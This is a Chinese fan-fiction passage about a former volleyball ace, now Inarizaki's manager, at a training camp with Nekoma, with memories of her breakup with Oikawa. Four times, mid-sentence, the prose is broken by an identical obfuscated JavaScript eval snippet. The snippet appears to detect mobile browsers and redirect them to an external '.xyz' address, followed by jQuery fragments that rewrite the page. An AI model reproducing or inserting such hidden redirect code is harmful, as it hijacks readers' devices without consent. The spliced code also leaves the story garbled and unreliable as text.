很少见的,北居然也有被惊吓的这种情绪,虽然很轻微,但还是被我发现了。 但是,最重要的其实也不是这个原因,趁着双子还在小规模互殴,没来得及注视这里的时候,小步挪到他身边,用手拢出一个喇叭贴到他耳边:“其实是因为音驹队啦,感觉他们的防守会让阿侑和阿治很难受。” 说完之后我又看了一眼还在你打我一下我打你一下的双子,放下心来。 “就因为这个?”北好像还是很迷惑。 当然了!我就差大声叫出来了,但是又怕被我即将谋害的对象发现这个事实从而产生警惕心理,不得不压着声音只用气声来解释。前辈怎么不能理解呢?无论怎么样都没办法打破的防守,是最最最让有进攻性的选手感到厌烦的事啊! “所以满枝曾经遇到过这样的队伍吗?” 嗯……这个嘛……我…… “啊,看起来是碰到过啊。” 虽然这次也看到了很少见的“北の笑”,但素我总觉得这次不是觉得我可爱而是觉得我好笑。 “那么好笑吗?”我愁云满面坐到身后的板凳上,单手托着下巴,有一点点的不开心。 “不,很可爱。”结果又被摸了摸头,这次对上视线之后,我眨了眨眼睛,对他笑了一下:“虽然前辈每次都只会这么说,但是很奇怪,我每次都很高兴。” 可能是因为每一次前辈这样说,都是很真心的吧。 上一次在便利店被北前辈摸了头,因为莫名涌上的情绪,导致我失控到原地开哭,像水龙头一样眼泪流个不停,甚至吸引来店员用警惕的目光注视,以为是他对我做了什么不好的事。 虽然我事后也愧疚地又双叒叕滑跪道歉了,前辈也一如既往地说没关系,然后说,就算我哭了也是很可爱。 感觉前辈对我的滤镜也不轻的样子,是因为受了信子学姐的影响吗? 嘛……不过感觉就算这么问,也会得到“是因为满枝你本身就很可爱啊”这样的话呢…… 所以退一万步来说,北前辈就不能做我的爸爸吗[蛋花眼.jpg],这么温柔冷静又情绪稳定的前辈,怎么就不是我爸爸呢? 直到去东京的路上,我坐在最后一排,还是在思考这件事——这种思考情绪甚至对冲掉了即将看到双子会被猫式防守迫害的暗爽。 “在想什么?” “在想队长为什么不能做我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431043|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸。”下意识回答了之后,我才意识到自己刚刚说了什么,僵硬地扭头看过去,不出意外看到了同样僵住的角名伦太郎。 旁边的阿兰君:“经理大人,说了很了不起的话来呢。” 这种时候就不要吐槽了啊!!! 我:关闭弹幕。 善良的阿兰君对我做出一个拉拉链闭嘴的动作。 “为什么会这样想。” “你不觉得队长很适合养小孩吗?”我意有所指地戳了戳前面几排刚被勒令安静下来的双胞胎。 “这个确实,但是你为什么……” “这个是一种形容!一种形容!表示我的队长大人的尊敬!”我努力压低了声音,不想吵到就在我们前面休息的北,但是因为太激动反而不知道用什么动作才能表达我的想法,最后的最后,我选择放弃,“好吧,你就把我看成缺爱的小宝宝好了。” 我自以为我是以一个笑话作为对话的结尾,但是没想到角名却给了一个很哲学的回答:“有些人不需要用血缘关系也会对亲近的人很好的。” 哥们我俩是不是不在一个剧场。 “我听说过你的名字。藤庭满枝。”下车之前,我突然听见落在最后面的角名这么说,我俩都坐在大巴车最后一排,他坐靠窗的位置,阿兰坐在另一边靠窗,我正好霸占住包括中间位置在内的一大块区域,所以最后下车的时候,也是我们殿后。 现在车里就只剩我们两个人,我不确定地转头看向他,他脸上神情还是淡淡的,和队长给我的那种人机感的疏远不太一样,他让我觉得他好像什么都知道,只是……不在乎。 “青叶城西女子排球部的主攻手,16岁的主将,16岁的全国大赛冠军。被认为是日本女排未来的希望。你的采访材料很少,但我看过,也对得上号。” 他说了一个我听了就浑身难受的姓氏,说,这个姓在爱知县很有名。 我沉思了两秒钟,然后光速倒打一耙:“你发现了我的秘密,你完蛋了!” 他:? “我要告诉我爸爸!你欺负我!” “你最好说的是你爸爸。” 我撇着嘴,眼泪汪汪跑下车,冲到北的身边,一把拽住他的胳膊:“队长……” “怎么了?” “伦太郎骂我!”我扯了一个非常拙劣的理由,紧跟着我下车的伦太郎背着包和我对视了一秒钟,然后冲北歪了下头。 北是不会相信的。 但好像相信的另有其人——比如兴致勃勃要问伦太郎到底说了什么居然能让我气哭他也想知道的Atsumu君。我已经从真憋眼泪变成了雷声大雨点小的假哭,但是硬了,拳头硬了。 我已提前和猫又老师打好招呼,本次主办方的首轮对决必要交给远道而来的稻荷崎黄毛狐狸就等着接受制裁吧。 应该是没有相信我说的谎的北前辈,看了看正在被宫侑折磨的伦太郎,又看了看我:“要摸头吗?” 我:0.0 “满枝今天也很可爱。”他摸了摸我的头,再一次这样说。 真奇怪,这次我还是很高兴。 5. 没问题啊lets集训! “居然是……美女经理……”还没有进场馆,我就被迎面冲来的,嗯……莫西干头?吓了一条,他眼泪汪汪地看着我,好像我做了什么天大的错事。 宫侑插到我旁边,胳膊肘正好压在我肩膀上,疼得我龇牙咧嘴:“美女经理,在说你吗?” 我皮笑肉不笑地正好捅上他的腰窝:“Miya Atsumu,你想死吗?”善良可靠的阿兰君及时捂住他差点哀嚎出声的嘴巴,perfect配合! “您好,我是稻荷崎的经理,藤庭满枝。” “您您您您……您好,我我我我是音驹高校的山本猛虎。”看起来像是不良,原来走的是反差萌纯情人设吗?我在心里这样想着,脸上依然挂着微笑,说着请多多指教。 脸红了耶。果然是纯情人设。怎么看都比旁边这位揉着腰还要对我发射眼神攻击的狐狸哥省心顺眼多了。 从伤痛中满血复活的宫侑再一次咬牙切齿、毫无边界感地硌上了我的肩膀,很痛、非常痛,我额头青筋直跳,差一点就要忍不住骂脏话。 如果不是面前还有音驹的人,不想让他们合宿第一天就看了我们的笑话,此时此刻这只蹬鼻子上脸的应该已经被我一拳打到土里原地去世。 我的忍耐也是有限度的。当宫侑再一次贱兮兮地凑过来说我刚刚的力气好像霸王龙的时候,我借着前面队长的遮挡,手放到他腰上,熟练掌握了不开口还能发出声音的技能,压低了声音威胁道:“是的霸王龙经理现在可以掐着你的腰并且把你一拳打飞你要尝试一下吗?” 他没说话。 我奇怪地抬头看向他:“你很热吗?”怎么脸红红的。 “你你你……”真奇怪,他讲话也开始打结了,“你怎么可以随便把手放在别人的腰上。” 哦,原来你也是纯情人设,失敬失敬。 “长着一张滥情的脸居然是纯情人设,阿治,和我换个位置,我要吐了。”我松开了手,把旁边的宫治扯过来,和我进行了一番移形换位,他没反抗,甚至有点乐在其中。 哥们你不会也是M吧。哦忘了你也姓Miya,太失敬了。 “喂!”唯一不满的可能只有捂着腰气得跳脚的宫侑,但我不知道他为什么生气,进了场馆之后,更加没精力去在意他的小情绪——影响到比赛的话,队长大人会解决的。 我们提前了很早就出发,现在场馆里到达的只有东京本地的两所学校——主办方音驹以及枭谷学园,基本都在做着热身活动,准备接下来的对练。本来我作为经理应该没我太多事,但是可能因为上次陪宫治找手感效果太好,以防万一,北让我也带了一双排球鞋。 他嘱咐我的时候很笃定,好像并不担心我把这些东西都丢在宫城,甚至我有种莫名的感觉,他或许知道我私下里一直有偷偷练习,保持手感。如果是别人,我可能会觉得被看透了变成透明人了好可怕我要逃跑,但北的话…… “准备好了吗?满枝。” 他太安静,但不是深沉,所以北信介不是会淹没我的海。北信介是清亮的湖,一年四季都存在着,倒映着柔和的天光,没有奔涌地流淌,只是被轻风吹得荡漾。 我系紧了鞋带,点点头,跟在他的身后,一起做热身活动。 拉伸的活动到好说,扣球的时候我有点为难,戳了戳前面的北:“我这个也要跟着一起吗?” “你是觉得网太高了吗?” 我摇摇头,再一次把手拢成小喇叭:“不是啦,我左手骨折才好没多久……” 北的表情很明显怔了一瞬:“我记得你是右撇子?” 是这样没错……我犹豫了一会,觉得北应该是值得信任的人,告诉他的话或许不会被盘问到底:“我左手骨折之前,右手也挫伤过,然后一直强迫自己用的左手,然后,右手怎么扣球我……忘掉了qwq” 私底下练习的时候又不会有人给我托球,我能做的只有球感保持和发球练习,也不能怪我吧。而且我当时决定过再也不打比赛了,如果找宫侑,总感觉会被黏上,还可能被他问东问西,想想也就算了。 “怎么了?”在网前等了好久的宫侑一边拍球一边不满地催促,“快点快点,为什么要背着我说小话。” 我说完理由,就要退出队伍,但是被北抓住了胳膊,不是特别紧的力度,其实我随便一甩手都可以挣脱开,我不知道他要干什么,只好站在原地。 湖面又被风吹开一圈一圈的涟漪,碎光粼粼地落到我眼里。 他说没关系,试一试吧,满枝。 沉静的湖水好像突然有了生命力,卷着我往岸上去。 “才发现,虽然满枝你发球很不错,还给蠢治托过球,不过我还没给你托过球呢。”宫侑看上去很高兴,眼睛里比刚刚湖面的碎光还要亮,刺得我眼睛生疼,周围一圈发肿、发烫。 “闭嘴,你好烦,托个球那么多事。”我揉了揉眼睛,“快点。不是你一直在催吗。” okok,他给我比了个手势,把球扔给网边负责扔球的排球社社员,我往后退了几步,在原地跳了跳,听见他问我摸高多少,我:“不记得了。你想干嘛。” “让你突破一下极限嘛,300有吗?” “你觉得呢?”我并不知道我的表情发生了什么变化,才让宫侑意味深长地回了一句哎呀,这不是挺认真的嘛。 还在队伍的时候,栗子说过我有个坏毛病,一旦真的站在场地上,绝对是比所有人都专注认真的那个,会屏除外界的一切干扰,不管是嘘声、还是加油声,哪怕是人身攻击的咒骂——那些都和我无关。 我没想太多,只是跟随着球的弧线踏步、起跳、滞空,等球停在最高点的时候,瞄准底线,右手拍下。 自己发球和别人托球确实有很大不同,我低头看着自己的手掌,握了握,深以为然地点了点头,然后才看向宫侑:“你今天托球状态不错。” ?他的表情告诉我他很疑惑,我也被弄得很疑惑:“怎么了?” “你只有这个想说的吗?”他张了张嘴,讲话的文明程度甚至有点不太像我认识的那个宫侑,我不明所以地眨了眨眼,顺着他手指的方向,我扣球的落点,稳稳停在底线上啊,so? “怎么了?” “赤苇!你看到了吗!那个球停在底线上了!” “看到了,很精准的控球,木兔前辈。” 适时的画外音+漫才解说。 “啊,你说那个啊。”我笑了一下,打了个响指,顺势又比出一个耍酷的姿势,“是旋转,我加了旋转。 “所以我才说你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431044|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天托球状态不错,毕竟这个也是需要配合的。如果托球本身带着明显的旋,那我再加旋反而可能会飞出去。” 以前在队里我都是用这种方式测试小惠的托球状态,毕竟我一直认为主攻手打得舒服的托球才是好托球,对于我、我们队而言,最好的托球就是又高又轻还没有旋而且还能在空中停住的类型——谁让我们队里人人都是旋转大师,诶嘿。 “重点是这个吗?”我解释完了之后宫侑的表情好像更加不可置信了,虽然我已习惯了他时不时的冲脸,但这一次他眼睛blingbling说着什么好帅啊好帅啊地冲上来之后我还是被他的热情扑得往后退了一二三四步。 “怎么做到的!” 额……就,旋转?被他一问我才发现我好像真的无法总结我是怎么扣出那种球的,但是他很少出现这种像小狗狗一样湿漉漉的眼神,还蛮可爱的。 “你要不参考一下那个什么网球里的外旋发球?”我心虚地超小声给他支招——虽然我自己不是这么学会的,但是小惠曾经把这一招和那个外旋发球做类比,那应该是有点异曲同工之妙的……吧? 看着宫侑得到我的回答之后活力满满地转身继续托球,我莫名更加心虚了几分。不是哥们,你真就这么好骗啊……平时让你猜我两只手里哪只手有字条的时候你不是很精明地说两只手都没有吗?为什么一遇到排球的事情就突然智商盆地了啊啊啊。 好有罪恶感。我快跑逃离了这个犯罪现场,决定把自己缩成小蘑菇,最好今天集训之前宫侑都找不到我也不会记得旋转这回事。 “真是会骗人的女人呢。”准备上场扣球的角名伦太郎路过我身边,这句话从我面前幽幽地飘过。 感觉良心中了一箭。 “看阿侑的样子,应该是当真了吧哈哈哈。”这是灰毛狐狸闷在嗓子里但作为就在他身边听得清清楚楚的吐槽。 又中一箭。 “没事的满枝,就算他发现被骗了也不会真的生你的气的。在排球的事情上阿侑总是很幼稚,但是也很好哄。给他买个布丁他就能把这些事全都忘了。” 阿兰君……我知道你很善良、很体贴,平时双子被我单方面碾压还记吃不记打的时候你也坚定地站在我这边并且和我一起吐槽,但是,但是,这种时候你说这种话。 我捂着我的心脏,感觉我一息尚存的良心已经被名为道德感和负罪感的箭矢戳穿,千疮百孔。 不行,我一定要有所行动。 “不好意思,打扰了,请问一下音驹校内的便利店有卖布丁吗?”我鬼鬼祟祟地挪到音驹的热身场地,一眼看中了人群中头发就很像布丁的这位同学。就你了!连头发都很像布丁,你一定也很喜欢吃布丁吧! 诶诶诶?怎么你在瞳孔地震啊!我哪里吓到你了吗? 布丁少年往后缩了缩,下巴缩进拉链拉到最上面的队服外套里,点了点头,顺带给我指明了最近的便利店的位置。 “非常感谢。”意识到这位同学可能大概也许有一点点社恐,我放轻了声音,躬身感谢,然后拔腿就跑。 啊啊啊妈妈我再也不随便找人搭话了,为什么一找就能找到人群中最社恐的那个啊,我刚刚说话应该没有冒犯到人家吧,早知道我去找猫又教练都不会找他的呜呜呜。 6. 没问题啊这一章我们回忆前男友 该说音驹不愧是东京的学校吗,连校内的便利店规模都很大,我挑了几个完全不会出错的布丁口味,其他的零食不敢多买,其一是因为运动之后本来就不能吃高糖高油的东西,其二主要是有点怵北队。 我之前也是队长,为什么就没有信介君这样令人艳羡的威严呢?明明我的名声比他还要差很多吧,球场暴君什么的,比小飞雄的那个“球场上的王者”难听多了。 这样想着,出门的时候没怎么看路,一头撞到人的身上,我下意识地要说抱歉,听到熟悉的“哎呀哎呀”的声音瞬间反悔并且还有点想遁地跑路—— “……北砂?” 音驹女队的队长,北砂良子,我一年在IH、国体、春高连撞三次的宿敌,一米八五铁血战士ps主攻版,正矫揉造作地一边揉胸口一边吊儿郎当地叼着根棒棒糖。 我侧过身就想趁其不备溜走,结果被当小鸡崽一样屈辱地扯住了外套后领——早知道就该脱了外套光速跑来又跑回。我不确定她要问我什么,但无论问什么我应该都不想听到。 好烦,又开始耳鸣了。 “你和及川,怎么回事?” 她在ABCD四个选项里选了我最不想回答的那个,和我相性之不合,像极了我宁愿用十年寿命来换青城和音驹不在一个半区但每一次都会在四强遇到的结果。也许这就是人生,不如意之事十有九成九。 不过人生也没规定给我问题我就要回答啊,所以在A:说出原因;B:撒谎骗她这二者之间,我选择了C:钝角。我闭嘴保持沉默,打定主意不接话不配合。 “你和他分手了?”她嘴里的棒棒糖被咬得咯吱咯吱响,“来真的呀小满,岩泉说你转学之后真的一条消息都没和他发诶。” 我继续憋气。 “你是怎么和他分手的?我还以为你俩这种扭曲的关系会一直锁死,持续到天荒地老呢。我太好奇了,和我透露一下吧,是你受不了他还是他受不了你了? “是因为你不打排球了吗?他觉得你完全是在浪费天赋,然后,你觉得他不了解你,却对你那么凶地说话,所以他生气要和你分手,你也生气了,觉得分手就分手。是这样吗?小满。” 我忘记了,良子是比我还会踩油门的赛车手,是很会钻空子找漏洞的白蚁式战术大师,放到以前绝对是非常擅长审讯的可怕人物。在我没有和她说过任何相关事情的情况下,居然大差不离地把我和及川彻分手当天的情景推测了出来。 一阵寒气袭来,我忍不住在这个阴暗的角落里抖抖抖。 幸好我不打排球了。不会再和她撞见了。幸好幸好。 正如我突兀的转学,我当时的退社申请看起来也像是心血来潮。教练和队友都以为我是因为左手骨折的原因,甚至一向很聪明的栗子酱,也搞错了因果关系,以为我是要转学,所以才退社。不是的,我是要退社,所以才转学。 不过无论是教练还是队友,她们都没有理由阻止我,我是队长是王牌是ace,我一向都是这种坏脾气,所以虽然有人眼泪汪汪有人故作若无其事,但她们最终都祝福我、希望我退社之后一切都好,都保证了,发誓青城不是没有我就不行的队伍,全国大赛的时候,还是要我看她们的比赛。 但是及川彻不一样。他比其他人都多一点点理由可以质问我。虽然我很不爽,但这也是我给他的权利。 我和他从初中就认识了,北川第一的排球馆男女混用,我和他在人群里又太太太突出,教练喜欢培养其他人的竞争意识,我和他就是最常被使用的“别人家的孩子”。 我仅代表我自己,在此处做出一个说明:没有一个主攻手,不会希望自己拥有一个灵魂伴侣级别的二传为自己托球。在我总是对跟不上我节奏的二传发脾气的时候,对我很好的木下教练,选择把我单独拎出来让及川陪我玩。 这就是我和他认识的开始。 很长一段时间内,我对二传手的模板,都是要求她“像”及川彻。百分百一样不可能,那就拟态而非求真好了。虽然及川彻后来有和我说他没天赋(我觉得他是在凡尔赛),但我捞了三年也没捞到一个能像他一样掌握我状态的二传,有关他是否具有天赋的证明题,此条就足以提交作为佐证其“有”的证据。 只有庸人才会被机器流水线一样成功复刻,及川彻这样的二传,千金难求啊百年难遇。但他却和我说他没天赋。 我觉得他是在炫耀,他却觉得我何不食肉糜,我们在球场上都可以那么默契,偏偏这种时候对不上脑电波,他不理解我我也改变不了他,烦人!讨厌!可恶! 你为什么不听我说话呢? 那天及川彻闹了一通脾气,简直像是撒泼打滚一样说着为什么突然不打排球了小满怎么能这么浪费天赋不可以不可以不可以,我开始觉得新鲜,因为有发现他轻佻之下的焦虑,虽然我不明白这种焦虑的来源是什么。但是因为从来没有过这种经历,所以觉得新奇,想看看故事接下来会怎么发展,所以第一时间什么都没有说,我有认真听他讲话,可他为什么不听我说的呢? 固执地要把我留下来,因为我很有天赋,所以就该和他一起走一条路吗?我不要。不要不要不要。这是我的人生啊,我更不是谁的代偿对象,我很喜欢排球,和我要继续打排球,完全是两码事。 彻为什么要强迫我,还是在我受伤的时候。我很难过。 那一瞬间,他和我最最讨厌的那个人重合了影子,连带着我本来很喜欢的及川彻也变得讨厌起来了。 “讨厌你。”我干巴巴地说。 我没有在挑衅他,但他好像觉得那是挑衅,拉长了声音,冲我哈气,就像应激了的猫猫。妈妈养的猫冲我哈气的时候我会待在原地,等它缓过神来,不再对我生气我再和它玩。所以我想等一等,等及川彻不朝我哈气的时候我再继续和他玩。 但及川彻不是我的猫。 “你你你……我要和你分手!” “就因为我不打排球了吗?” “对!” 他说得这么这么斩钉截铁,我本来只有一点点生气,现在也变得非常非常生气:“你果然和别人说的一样,你根本不是喜欢我,你就是想偷偷学习我的技术所以才和我交往,你真是个卑鄙的小偷!” 我气呼呼的,感觉耳朵在嗡嗡嗡嗡吵得我难受,我很烦,我不明白人怎么可以这么不讲理,连我的解释也不听,他太讨厌了所以——“分手就分手!” 明明就是及川彻先说的分手,我答应下来之后他却好像整个人都炸了毛一样,说话比之前更凶更大声:“分手之后我绝对不会再和你做朋友了!我不会再和你说话了!” 这个人倒打一耙,简直叫人火冒三丈,我立马不甘示弱,一拍桌子站起来:“明明是你目的不纯,是你别有用心!这样的话应该我来说才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431045|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对!” “哈——?” “哼!” 我看着他在我面前来回来去地转圈圈,转了第四圈之后,才按着我面前的桌子,盯着我的眼睛:“我太受不了你了,分手!今天就分手!” “分就分!” “你立字据!” “立就立!” 最终我们一起拉来了小岩,当着他的面,在他“你们认真的吗”的视线下,严谨又认真地写下了关于断交的字据:分手之后,不许说话,不许联系,更不可以继续做朋友——一式三份,证明人由小岩签字,并且由他保存其中一份作为留档,不许我们任何一个人有后悔的机会。 小岩问我们是在过家家吗?都多大了还在玩这种小学生的幼稚把戏。 小岩没有当真。我们三个人里,只有小岩以为我们不会把这个字据当真。 我回忆了一下当天的情景,点点头,回答了良子的上一个问题:“是他。” 我看着良子的眼睛:“是彻先说了,他受不了我,所以他要和我分手。” 真奇怪,我都把我知道的告诉她了,北砂这个时候反而不相信了,问我真的假的,难道她心里是我会先受不了及川彻吗? “我在你心里到底是个什么形象啊。” “很容易喜新厌旧从来不会回头的海王渣女。”她说得如此流利顺畅,像报菜名一样,我合理怀疑她早已腹诽造谣过我无数次,但是让她失望了,很遗憾,迄今为止我谈过且唯一谈过的就只有及川彻一位。 我保持微笑^^:“真失礼啊我其实是纯爱呢。” “真可怕啊这种表情。”良子手指夹着已经被她嚼完的棒棒糖棍,吐气时完全是一副老烟枪在吐烟圈的样子。如果有路过的人远远望过来,加上她精干的短发,估计以为我是被哪位鬼火少年堵住去路搭讪吧。 “可以不要在我面前装作社会人士吗?我不想被误会。”我再一次礼节性微笑了一下,“还有什么要问的吗?没有别的我要回去了。” “诶,你不后悔吗?” 我都已经准备离开了,北砂良子突然又问了我一句,我回头看她,她靠在墙上抱着胳膊,嘴里又叼着一根新的棒棒糖,咯吱咯吱咬得直响,手里还有一根没开包装的晃了晃:“柠檬味的,吃不吃。” 我摇摇头。 “不后悔,不吃。”我有点明白了,“笨蛋让你来的吗?” “可以不要在我面前说你对他的爱称吗,我感觉成了你们play的一环。” 我歪歪头,冲她眨了一下眼睛:“你本来就是啊。” “我快吐了。”良子捂着胸口,作势要干呕,但嘴里还有棒棒糖的碎渣,讲起话来含糊不清的,“所以为什么要分手?” 嗯……我想了一下:“因为这段关系是彻开始的啊,那么也是他要结束就结束呗。选择权一直在他手里。” “你果然是渣女啊……” “怎么又诽谤我!?”我不可置信,他要开始我就同意,他要结束我也同意,天底下哪里有比我更好更好的好朋友、女朋友、前女友,“就算是良子,你这么说我也是会伤心的。” 良子对我翻了个白眼,又问了我一个问题:“最后一个问题。如果他要再开始,你还会同意吗?” “当然啦。我都说了,我是纯爱耶。” “这**的和纯爱一点关系都没有吧渣女!” 7. 没问题啊我是独裁暴君 我还以为我和良子聊了蛮长时间的,不管音驹怎么难缠,这一局应该都已经打完了,推门进去之前我还有点失望,故意安排的第一场就是为了打阿侑他们一个措手不及,结果自己却错失好戏。 ——然后,记分牌17:14,稻荷崎是14。 我:? 不是哥们.jpg 首先说明,我并没有任何轻视音驹的意思,但是打到现在连20分都没上,这拉扯得也太超过了。一来一往的,两边是在拔河吗? 我悄无声息地坐到黑须监督身边,装了布丁的袋子被我放到凳子后面。摊开笔记本之后,我想要记录些什么,但看了一会场上的局势,僵持中很明显的混乱,而混乱的源头…… “阿侑在搞什么?”我握紧了签字笔,真心实意地感到疑惑,“为什么突然让阿治做二传了,这是什么心血来潮的新战术吗?” 如果是其他队伍我会先质疑,但因为是双子,所以不确定,先问问。 被北替换下场的阿兰靠了过来:“阿侑想试试你的外旋扣球。” …… 我还是继续质疑吧。(扶额苦笑) 知道了真相之后再看场内的拉扯,比起生气更多的还是心虚,我虽然不知道怎么样才能让球压着旋,但我能看出来怎么样球是绝对压不下旋的。用八个字来形容:错漏百出,惨不忍睹。 默契天才如双子,也是需要一遍又一遍地调整、试错,我不自在地摸了摸鼻子,没话找话聊:“阿治居然也能同意放弃进攻做二传吗?” 我以为无论如何阿治好歹是不会像阿侑那么幼稚的。 阿兰:“因为阿治也觉得很有趣。” 懂了。本质还是同一套DNA的双胞胎,我不该对他的智商抱有太高的期望。 “那北呢?他又为什么会同意他们这么胡来。”每一次进攻的失败,都会对防守造成冲击,北作为防守选手,作为队长,居然也能默许纵容吗? 阿兰思考了一会:“可能是因为你的那个扣球确实很厉害,也很难接。” 我扣球的时候对面都没有拦网和防守怎么就知道这球难接了……虽然确实难接。 和普通上下旋的扣球不一样,它反而有点类似于足球中的香蕉球,弧线很大,所以很容易迷惑防守队员,误判出界,就算判准了落点,也会因为诡异的旋转导致球被垫飞。不过收益和风险并存,扣球方也很容易操作失误导致压旋失败本垒打什么的…… 这么来看,稻荷崎也是很会惯孩子的队伍吧。只是有北在,显得好像这个队伍基调是很靠谱的,但这种时候,任由他们互换位置尝试新打法,才显露出整个队伍任性自由的本质。 我想,我应该可以回答信子学姐对我说的那句话了。 学姐,我也很喜欢这里。没有做选手,和大家待在一起,我也觉得幸福。 无需追忆昨日。我喜欢这个tifo。排球原本就是向前、向上看的运动。 青城女排的tifo是永不言弃,我不是很喜欢。如果可以一直赢下去,应该没有人会想要放弃吧,会有人对胜利厌倦吗?不会吧。 这样对比,青城女排的tifo未免也太悲壮了,简直像是从开始就在说,虽然我们这场会输,但我们不会放弃。 但我才不要输了之后的反思。 我偏头看向旁边依然平静的黑须监督:“暂停一下吗监督。” 很神奇,稻荷崎这支队伍,从选手到队长再到监督,都很神奇,任性的选手,兜底的队长,问也不问我理由就打了暂停的监督,全部都非常奇怪。 “阿侑。”我戳了戳奇怪队伍里最奇怪的那个,因为一直压不下旋,整个人都蔫巴巴的,没什么精神地瞅了我一眼,又慢吞吞地移开了视线。 更愧疚了。 暂停的时间不长,我只能速战速决,单独把他拉出来到远离人群的地方,好声好气劝他先把这场正常打完。 “打完了之后我单独教你吧。”我自己造的孽,“这一场赢了我给你买布丁,东京地区限定的那种。”其实无论赢没赢,布丁都已经被我买好了,装着它们的袋子里就被我藏在板凳后面。 有谁规定输了就不可以吃布丁呢? ——噔噔噔噔,稻荷崎二传手宫侑满血复活! “拉勾。”笑起来完全是小狐狸的幼稚鬼勾住了我的小指,晃了晃,整个人乐滋滋地哼着歌回到了场上。 好吧,我在这一刻承认一下宫侑确实是非常可爱,哄小狐狸也挺有意思的。这一刻我理解了某东方古国的神话小说——他怎么会是妖孽,他明明是祥瑞! “为什么不让阿侑继续尝试呢?”暂停结束后,我重新坐回位置上,开始认真看接下来的比赛的时候,一直都没发表过意见的黑须监督突然提问。 “因为很麻烦。”我看着场上的情况,记录谁谁的失误,又或者扣球的成功,“对于二传手而言,练习这种球,风险远高过于收益。” 如果是宫治继续尝试,我倒可能会多看一会,输了也无所谓,毕竟只是练习赛,现在输总比到正赛上输来得及。 但偏偏是宫侑,正赛上强强对话绝对不能掉链子的核心二传,而练习赛的对手偏偏还是接球防守能力出众的音驹。所以,毫无意义。需要禁止。 “但你还是答应了私下练习。” 我并不意外黑须监督能预判到我是用这样的话术安抚宫侑,但我的逻辑应该也很好理解吧:“因为这样,阿侑会开心。”开心和有没有用,没有必然的关联。 黑须监督低低地笑了一声:“伊琳娜说的没错。你十六岁就可以当队长了。” 出现了!我那传奇般的遍地人脉的恩师伊琳娜女士! 可能因为上至呆梨总统下至本国黑手党都有她的熟人,黑须监督和她认识我居然没有任何意外的想法,而他所复述的那句话,我也听了太多遍。 某种意义上,伊琳娜觉得,球场暴君这句话完全是对我的夸赞。成为暴君的前提,是成为君主。只要能带来胜利,独裁蛮横一点,也没什么不好——参照一下五保一打单箭头的白鸟泽,嗯嗯。 简单粗暴,但是有用就行。 所以当时小飞雄被说是“球场上的王者”而他为此郁郁的时候,我大为震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431046|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊,难过低落什么呢,这是喜事啊! 虽然我安慰他的时候并没有想到他的队友后来也成了彻酱的队友(目移),但我话粗理不粗啊:“这说明你的技术太超过了,所以,菜比跟不上你的节奏,所以,少和菜比玩,你会变菜的,明白吗?” 木下教练和伊琳娜教练都一遍又一遍地和我强调,我的能力超过同年龄段的人太多,所以她们跟不上我的时候,我不要太生气——那么同理反推,他们跟不上小飞雄,那也一定是因为小飞雄太厉害了。 小飞雄没有迁就他们的意识,这不能说小飞雄没问题,但退一步来说,那些人跟不上小飞雄的节奏,他们就一点错都没有吗? 说某人独裁的前提,是他有了独裁的能力。向下兼容是可以的,但是如果有人能和我恰好合拍,那我为什么要委屈自己呢? “少内耗自己,多多指责他人,明白吗?” 小飞雄的眼神还是很迷茫:“这样对吗?” “我有冠军。”你就说你是信我还是信无冠冲击波吧。 小飞雄还是有点迟疑:“但是及川学长……” 哦对,他也无冠。 我好像把彻酱也骂进去了omg,“那都不重要,你学长他在做压力测试搞证明题,他属于特例,结果有没有冠军都不重要。但是我有冠军,你敢不信我?”我冲他亮了亮拳头,阁下如果还是执迷不悟,那我倒也是略通一些拳脚。 还好,飞雄本质还是个乖宝宝。在我的动之以情晓之以理之下,成功地走出了阴霾,完全是大喜事啊! 我喜滋滋地向伊琳娜报告了我当日份的好人好事,成功话疗了一位郁郁小天才,□□了日本未来二传手的道心,我完全是日本排球界的守护神。 “我是不是好厉害,伊琳娜。” “过程全错,答案全对。小满,这也是你的天分呢。” 